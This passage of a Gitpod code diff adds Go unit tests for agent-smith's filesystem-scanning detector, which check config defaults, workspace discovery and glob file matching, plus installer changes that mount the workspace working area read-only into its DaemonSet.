the project root for license information. + +package detector + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/gitpod-io/gitpod/agent-smith/pkg/classifier" + "github.com/prometheus/client_golang/prometheus" +) + +// mockFileClassifier is a mock implementation for testing +type mockFileClassifier struct{} + +func (m *mockFileClassifier) MatchesFile(filePath string) (*classifier.Classification, error) { + return &classifier.Classification{Level: classifier.LevelNoMatch}, nil +} + +func (m *mockFileClassifier) GetFileSignatures() []*classifier.Signature { + return nil +} + +func (m *mockFileClassifier) Describe(d chan<- *prometheus.Desc) {} +func (m *mockFileClassifier) Collect(m2 chan<- prometheus.Metric) {} + +func TestFileDetector_Config_Defaults(t *testing.T) { + tests := []struct { + name string + inputConfig FileScanningConfig + expectedConfig FileScanningConfig + }{ + { + name: "all defaults", + inputConfig: FileScanningConfig{ + Enabled: true, + WorkingArea: "/tmp/test-workspaces", + }, + expectedConfig: FileScanningConfig{ + Enabled: true, + ScanInterval: 5 * time.Minute, + MaxFileSize: 1024, + WorkingArea: "/tmp/test-workspaces", + }, + }, + { + name: "partial config", + inputConfig: FileScanningConfig{ + Enabled: true, + ScanInterval: 10 * time.Minute, + MaxFileSize: 2048, + WorkingArea: "/tmp/test-workspaces", + }, + expectedConfig: FileScanningConfig{ + Enabled: true, + ScanInterval: 10 * time.Minute, + MaxFileSize: 2048, + WorkingArea: "/tmp/test-workspaces", + }, + }, + { + name: "all custom values", + inputConfig: FileScanningConfig{ + Enabled: true, + ScanInterval: 2 * time.Minute, + MaxFileSize: 512, + WorkingArea: "/tmp/test-workspaces", + }, + expectedConfig: FileScanningConfig{ + Enabled: true, + ScanInterval: 2 * time.Minute, + MaxFileSize: 512, + WorkingArea: "/tmp/test-workspaces", + }, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + mockClassifier := &mockFileClassifier{} + detector, err := NewfileDetector(tt.inputConfig, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + if detector.config.ScanInterval != tt.expectedConfig.ScanInterval { + t.Errorf("ScanInterval = %v, expected %v", detector.config.ScanInterval, tt.expectedConfig.ScanInterval) + } + if detector.config.MaxFileSize != tt.expectedConfig.MaxFileSize { + t.Errorf("MaxFileSize = %v, expected %v", detector.config.MaxFileSize, tt.expectedConfig.MaxFileSize) + } + if detector.config.WorkingArea != tt.expectedConfig.WorkingArea { + t.Errorf("WorkingArea = %v, expected %v", detector.config.WorkingArea, tt.expectedConfig.WorkingArea) + } + }) + } +} + +func TestFileDetector_DisabledConfig(t *testing.T) { + config := FileScanningConfig{ + Enabled: false, + } + + mockClassifier := &mockFileClassifier{} + _, err := NewfileDetector(config, mockClassifier) + if err == nil { + t.Error("expected error when file scanning is disabled, got nil") + } + + expectedError := "file scanning is disabled" + if err.Error() != expectedError { + t.Errorf("expected error %q, got %q", expectedError, err.Error()) + } +} + +func TestWorkspaceDirectory_Fields(t *testing.T) { + wsDir := WorkspaceDirectory{ + InstanceID: "inst789", + Path: "/var/gitpod/workspaces/inst789", + } + + if wsDir.InstanceID != "inst789" { + t.Errorf("InstanceID = %q, expected %q", wsDir.InstanceID, "inst789") + } + + expectedPath := "/var/gitpod/workspaces/inst789" + if wsDir.Path != expectedPath { + t.Errorf("Path = %q, expected %q", wsDir.Path, expectedPath) + } +} + +func TestDiscoverWorkspaceDirectories(t *testing.T) { + // Create a temporary working area + tempDir, err := os.MkdirTemp("", "agent-smith-test-*") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + // Create mock workspace directories + workspaceIDs := []string{"ws-abc123", "ws-def456", "ws-ghi789"} + for _, wsID := range workspaceIDs { + wsDir := filepath.Join(tempDir, wsID) + if err := os.Mkdir(wsDir, 0755); err != nil { + t.Fatalf("failed to create workspace dir %s: %v", wsDir, err) + } + } + + // Create some files that should be ignored + if err := os.Mkdir(filepath.Join(tempDir, ".hidden"), 0755); err != nil { + t.Fatalf("failed to create hidden dir: %v", err) + } + if err := os.Mkdir(filepath.Join(tempDir, "ws-service-daemon"), 0755); err != nil { + t.Fatalf("failed to create daemon dir: %v", err) + } + + // Create detector with temp working area + config := FileScanningConfig{ + Enabled: true, + WorkingArea: tempDir, + } + mockClassifier := &mockFileClassifier{} + detector, err := NewfileDetector(config, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + // Test workspace directory discovery + workspaceDirs, err := detector.discoverWorkspaceDirectories() + if err != nil { + t.Fatalf("failed to discover workspace directories: %v", err) + } + + // Should find exactly 3 workspace directories (ignoring hidden and daemon dirs) + if len(workspaceDirs) != 3 { + t.Errorf("found %d workspace directories, expected 3", len(workspaceDirs)) + } + + // Verify the discovered directories + foundIDs := make(map[string]bool) + for _, wsDir := range workspaceDirs { + foundIDs[wsDir.InstanceID] = true + + // Verify path is correct + expectedPath := filepath.Join(tempDir, wsDir.InstanceID) + if wsDir.Path != expectedPath { + t.Errorf("workspace %s path = %q, expected %q", wsDir.InstanceID, wsDir.Path, expectedPath) + } + } + + // Verify all expected workspace IDs were found + for _, expectedID := range workspaceIDs { + if !foundIDs[expectedID] { + t.Errorf("workspace ID %q not found in discovered directories", expectedID) + } + } +} + +func TestFindMatchingFiles(t *testing.T) { + // Create a temporary workspace directory + tempDir, err := os.MkdirTemp("", "agent-smith-workspace-*") + if err != nil { + t.Fatalf("failed to create temp dir: %v", err) + } + defer os.RemoveAll(tempDir) + + // Create test files + testFiles := map[string]string{ + "config.json": `{"key": "value"}`, + "settings.conf": `setting=value`, + "script.sh": `#!/bin/bash\necho "hello"`, + "wallet.dat": `wallet data`, + "normal.txt": `just text`, + "subdir/nested.conf": `nested config`, + "dotfiles/data.txt": `some foobar thing`, + } + + for filePath, content := range testFiles { + fullPath := filepath.Join(tempDir, filePath) + + // Create directory if needed + if dir := filepath.Dir(fullPath); dir != tempDir { + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatalf("failed to create dir %s: %v", dir, err) + } + } + + if err := os.WriteFile(fullPath, []byte(content), 0644); err != nil { + t.Fatalf("failed to create file %s: %v", fullPath, err) + } + } + + // Create detector + config := FileScanningConfig{ + Enabled: true, + WorkingArea: "/tmp", // Not used in this test + } + mockClassifier := &mockFileClassifier{} + detector, err := NewfileDetector(config, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + tests := []struct { + name string + filename string + expected []string + }{ + { + name: "direct file match", + filename: "config.json", + expected: []string{filepath.Join(tempDir, "config.json")}, + }, + { + name: "wildcard pattern", + filename: "*.conf", + expected: []string{filepath.Join(tempDir, "settings.conf")}, + }, + { + name: "shell script pattern", + filename: "*.sh", + expected: []string{filepath.Join(tempDir, "script.sh")}, + }, + { + name: "no matches", + filename: "*.nonexistent", + expected: []string{}, + }, + { + name: "nonexistent direct file", + filename: "missing.txt", + expected: []string{}, + }, + { + name: "wildcard to dip into a sub-folder", + filename: "*/data.txt", + expected: []string{filepath.Join(tempDir, "dotfiles/data.txt")}, + }, + { + name: "exact match", + filename: "dotfiles/data.txt", + expected: []string{filepath.Join(tempDir, "dotfiles/data.txt")}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + matches := detector.findMatchingFiles(tempDir, tt.filename) + + if len(matches) != len(tt.expected) { + t.Errorf("found %d matches, expected %d", len(matches), len(tt.expected)) + t.Errorf("matches: %v", matches) + t.Errorf("expected: %v", tt.expected) + return + } + + // Convert to map for easier comparison + matchMap := make(map[string]bool) + for _, match := range matches { + matchMap[match] = true + } + + for _, expected := range tt.expected { + if !matchMap[expected] { + t.Errorf("expected match %q not found", expected) + } + } + }) + } +} + +func TestFileDetector_GetFileSignatures(t *testing.T) { + // Create a mock classifier that returns some signatures + mockClassifier := &mockFileClassifierWithSignatures{ + signatures: []*classifier.Signature{ + { + Name: "test-sig", + Domain: "filesystem", + Filename: []string{"test.txt"}, + }, + }, + } + + config := FileScanningConfig{ + Enabled: true, + WorkingArea: "/tmp", + } + + detector, err := NewfileDetector(config, mockClassifier) + if err != nil { + t.Fatalf("failed to create detector: %v", err) + } + + signatures := detector.GetFileSignatures() + if len(signatures) != 1 { + t.Errorf("expected 1 signature, got %d", len(signatures)) + } + + if signatures[0].Name != "test-sig" { + t.Errorf("expected signature name 'test-sig', got %s", signatures[0].Name) + } +} + +// mockFileClassifierWithSignatures is a mock that returns signatures +type mockFileClassifierWithSignatures struct { + signatures []*classifier.Signature +} + +func (m *mockFileClassifierWithSignatures) MatchesFile(filePath string) (*classifier.Classification, error) { + return &classifier.Classification{Level: classifier.LevelNoMatch}, nil +} + +func (m *mockFileClassifierWithSignatures) GetFileSignatures() []*classifier.Signature { + return m.signatures +} + +func (m *mockFileClassifierWithSignatures) Describe(d chan<- *prometheus.Desc) {} +func (m *mockFileClassifierWithSignatures) Collect(m2 chan<- prometheus.Metric) {} diff --git a/dev/preview/workflow/preview/deploy-gitpod.sh b/dev/preview/workflow/preview/deploy-gitpod.sh index 3c9899a010b40e..bde3193a7ed092 100755 --- a/dev/preview/workflow/preview/deploy-gitpod.sh +++ b/dev/preview/workflow/preview/deploy-gitpod.sh @@ -464,6 +464,14 @@ yq w -i "${INSTALLER_CONFIG_PATH}" experimental.workspace.networkLimits.bucketSi # yq w -i "${INSTALLER_CONFIG_PATH}" experimental.webapp.server.gcpProfilerEnabled "true" +# +# Enable agent-smith filesystem scanning +# (uncomment if needed, we don't use agent-smith by default in previews) +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.enabled "true" +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.scanInterval "5m" +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.maxFileSize "1024" +# yq w -i "${INSTALLER_CONFIG_PATH}" experimental.agentsmith.filesystemScanning.workingArea "/mnt/workingarea-mk2" + log_success "Generated config at $INSTALLER_CONFIG_PATH" # ======== diff --git a/install/installer/pkg/components/agent-smith/configmap.go b/install/installer/pkg/components/agent-smith/configmap.go index feb9aa34b77027..a000acfdc00778 100644 --- a/install/installer/pkg/components/agent-smith/configmap.go +++ b/install/installer/pkg/components/agent-smith/configmap.go @@ -6,6 +6,7 @@ package agentsmith import ( "fmt" + "time" "github.com/gitpod-io/gitpod/agent-smith/pkg/config" "github.com/gitpod-io/gitpod/common-go/baseserver" @@ -42,6 +43,13 @@ func configmap(ctx *common.RenderContext) ([]runtime.Object, error) { if ctx.Config.Components != nil && ctx.Config.Components.AgentSmith != nil { ascfg.Config = *ctx.Config.Components.AgentSmith ascfg.Config.KubernetesNamespace = ctx.Namespace + + // Set working area path if filesystem scanning is enabled + if ascfg.Config.FilesystemScanning != nil && ascfg.Config.FilesystemScanning.Enabled { + ascfg.Config.FilesystemScanning.Enabled = true + ascfg.Config.FilesystemScanning.WorkingArea = ContainerWorkingAreaMk2 + ascfg.Config.FilesystemScanning.ScanInterval = config.Duration{Duration: 5 * time.Minute} + } } fc, err := common.ToJSONString(ascfg) diff --git a/install/installer/pkg/components/agent-smith/constants.go b/install/installer/pkg/components/agent-smith/constants.go index e77dd5e13d1cd0..16d69e8cf441aa 100644 --- a/install/installer/pkg/components/agent-smith/constants.go +++ b/install/installer/pkg/components/agent-smith/constants.go @@ -6,4 +6,8 @@ package agentsmith const ( Component = "agent-smith" + + // Working area paths - must match ws-daemon constants + HostWorkingAreaMk2 = "/var/gitpod/workspaces-mk2" + ContainerWorkingAreaMk2 = "/mnt/workingarea-mk2" ) diff --git a/install/installer/pkg/components/agent-smith/daemonset.go b/install/installer/pkg/components/agent-smith/daemonset.go index aaea6c0b33665d..1b3d126014cd11 100644 --- a/install/installer/pkg/components/agent-smith/daemonset.go +++ b/install/installer/pkg/components/agent-smith/daemonset.go @@ -24,6 +24,61 @@ func daemonset(ctx *common.RenderContext) ([]runtime.Object, error) { if err != nil { return nil, err } + volumeMounts := []corev1.VolumeMount{ + { + Name: "config", + MountPath: "/config", + }, + { + Name: "wsman-tls-certs", + MountPath: "/wsman-certs", + ReadOnly: true, + }, + common.CAVolumeMount(), + } + + filesystemScanningEnabled := ctx.Config.Components != nil && + ctx.Config.Components.AgentSmith != nil && + ctx.Config.Components.AgentSmith.FilesystemScanning != nil && + ctx.Config.Components.AgentSmith.FilesystemScanning.Enabled + + if filesystemScanningEnabled { + volumeMounts = append(volumeMounts, corev1.VolumeMount{ + Name: "working-area", + MountPath: ContainerWorkingAreaMk2, + ReadOnly: true, + }) + } + + volumes := []corev1.Volume{ + { + Name: "config", + VolumeSource: corev1.VolumeSource{ConfigMap: &corev1.ConfigMapVolumeSource{ + LocalObjectReference: corev1.LocalObjectReference{Name: Component}, + }}, + }, + { + Name: "wsman-tls-certs", + VolumeSource: corev1.VolumeSource{ + Secret: &corev1.SecretVolumeSource{ + SecretName: wsmanagermk2.TLSSecretNameClient, + }, + }, + }, + common.CAVolume(), + } + + if filesystemScanningEnabled { + volumes = append(volumes, corev1.Volume{ + Name: "working-area", + VolumeSource: corev1.VolumeSource{ + HostPath: &corev1.HostPathVolumeSource{ + Path: HostWorkingAreaMk2, + Type: func() *corev1.HostPathType { t := corev1.HostPathDirectory; return &t }(), + }, + }, + }) + } return []runtime.Object{&appsv1.DaemonSet{ TypeMeta: common.TypeMetaDaemonset, @@ -64,18 +119,7 @@ func daemonset(ctx *common.RenderContext) ([]runtime.Object, error) { "memory": resource.MustParse("32Mi"), }, }), - VolumeMounts: []corev1.VolumeMount{ - { - Name: "config", - MountPath: "/config", - }, - { - Name: "wsman-tls-certs", - MountPath: "/wsman-certs", - ReadOnly: true, - }, - common.CAVolumeMount(), - }, + VolumeMounts: volumeMounts, Env: common.CustomizeEnvvar(ctx, Component, common.MergeEnv( common.DefaultEnv(&ctx.Config), common.WorkspaceTracingEnv(ctx, Component), @@ -88,23 +132,7 @@ func daemonset(ctx *common.RenderContext) ([]runtime.Object, error) { }, *common.KubeRBACProxyContainer(ctx), }, - Volumes: []corev1.Volume{ - { - Name: "config", - VolumeSource: corev1.VolumeSource{ConfigMap: &corev1.ConfigMapVolumeSource{ - LocalObjectReference: corev1.LocalObjectReference{Name: Component}, - }}, - }, - { - Name: "wsman-tls-certs", - VolumeSource: corev1.VolumeSource{ - Secret: &corev1.SecretVolumeSource{ - SecretName: wsmanagermk2.TLSSecretNameClient, - }, - }, - }, - common.CAVolume(), - }, + Volumes: volumes, Tolerations: []corev1.Toleration{ { Effect: corev1.TaintEffectNoSchedule,